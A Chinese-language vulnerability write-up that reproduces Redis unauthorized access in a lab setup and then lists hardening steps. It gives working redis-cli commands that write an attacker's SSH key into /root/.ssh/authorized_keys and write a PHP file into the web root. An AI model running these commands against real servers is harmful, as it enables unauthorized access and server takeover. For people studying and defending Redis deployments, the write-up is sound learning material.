1. 程式人生 > 實用技巧 >Redis未授權訪問漏洞分析

Redis未授權訪問漏洞分析

Redis因配置不當和未授權訪問。導致無需認證就可以訪問到內部資料,可導致敏感資訊洩露,也可以通過config 命令,可以進行寫檔案操作。

一、復現環境:

redis v6.0.5

Redis Server:

Centos 7.5 Redis Server

redis.conf 檔案以下兩處進行修改

1、註釋掉 bind 127.0.0.1

2、protected-mode no

攻擊機:Centsos 7.5 Redis Client

二、復現過程:

1、下載Redisv6.0.5將壓縮包解壓後,在src目錄下有redis-server和redis-cli

修改redis.conf檔案:

註釋掉 bind 127.0.0.1

protected-mode no

2、 服務端啟動 redis server,攻擊機直接登陸到Redis Server

啟動 Redis Server : ./src/redis-server redis.conf

攻擊機連線server

./src/redis-cli -h 192.168.195.110

預設用6379埠登陸

無需認證即可登陸到Redis Server,並可執行命令。

4、通過ssh金鑰登陸Redis Server

攻擊機上ssh-keygen生成公鑰和私鑰,將公鑰寫入Redis伺服器,即可使用私鑰登陸

一路按回車即可,預設是 rsa 型別的金鑰

將公鑰內容複製

[root@centos7200 ~]# cat /root/.ssh/id_rsa.pub檢視後複製其內容

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwc/+k4e7fRsYKq6juYwzKvVj1oqPC++zKZ6GJqzpMDi9wh40UlUqD3TKrnvACCM5UZ4RNSuEJMjMytXHjeQqvg7W2tPecKne2HJ8iFE5A754d22k2MAQU/N0f2MPa4eCg0huKEo65bMh+VnxemuHLKyRe5n0q9BTCeXhDNjqkqbu2tBq77i9CducWtUwdSwQN0jLNH8TOSDeCPyWtJMfIQLEDvQIE9AHXAHM1QphBtU8+J6uJV3l7MW2CKd2j2xNQrc+AuVW8WmSBkLF1pUv0yJnBTdgL4xw6SWrn+XmmSWocV84EvYaRctI3QhQPJcz5DTD/7jG2Hn3fjt+mj/wB root@centos7-200

通過redis-cli登陸到server 後,輸入以下命令:

192.168.195.110:6379>config set dir /root/.ssh/將備份路徑設為/root/.ssh/

192.168.195.110:6379>config set dbfilename authorized_keys備份檔名改為authorized_keys

將複製的id_rsa.pub內容貼上進來

192.168.195.110:6379>set x "\n\n\nssh-

rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCwc/+k4e7fRsYKq6juYwzKvVj1oqPC++zKZ6GJqzpMDi9wh40UlUqD3TKrnvACCM5UZ4RNSuEJMjMytXHjeQqvg7W2tPecKne2HJ8iFE5A754d22k2MAQU/N0f2MPa4eCg0huKEo65bMh+VnxemuHLKyRe5n0q9BTCeXhDNjqkqbu2tBq77i9CducWtUwdSwQN0jLNH8TOSDeCPyWtJMfIQLEDvQIE9AHXAHM1QphBtU8+J6uJV3l7MW2CKd2j2xNQrc+AuVW8WmSBkLF1pUv0yJnBTdgL4xw6SWrn+XmmSWocV84EvYaRctI3QhQPJcz5DTD/7jG2Hn3fjt+mj/wBroot@centos7-200\n\n\n"

192.168.195.110:6379>save

攻擊機可以免密登陸到server

5、如果Server上開啟了web服務,Redis有寫許可權的話,可以寫webshell

開啟httpd服務:

登陸伺服器後執行以下命令:

192.168.195.110:6379>config set dir /var/www/html

192.168.195.110:6379>config set dbfilename webshell.php

192.168.195.110:6379>set x "<?php phpinfo(); ?>"

192.168.195.110:6379>save

訪問wehshell.php

三、防護措施

為Redis服務單獨建立user和home目錄,低許可權執行,並且配置禁止登陸

為Redis新增密碼驗證

我們可以通過修改redis.conf檔案來為Redis新增密碼驗證

requirepassmypassword

禁止外網訪問 Redis

修改redis.conf檔案來使得Redis服務只在當前主機可用

bind127.0.0.1

啟動保護模式

protected-mode yes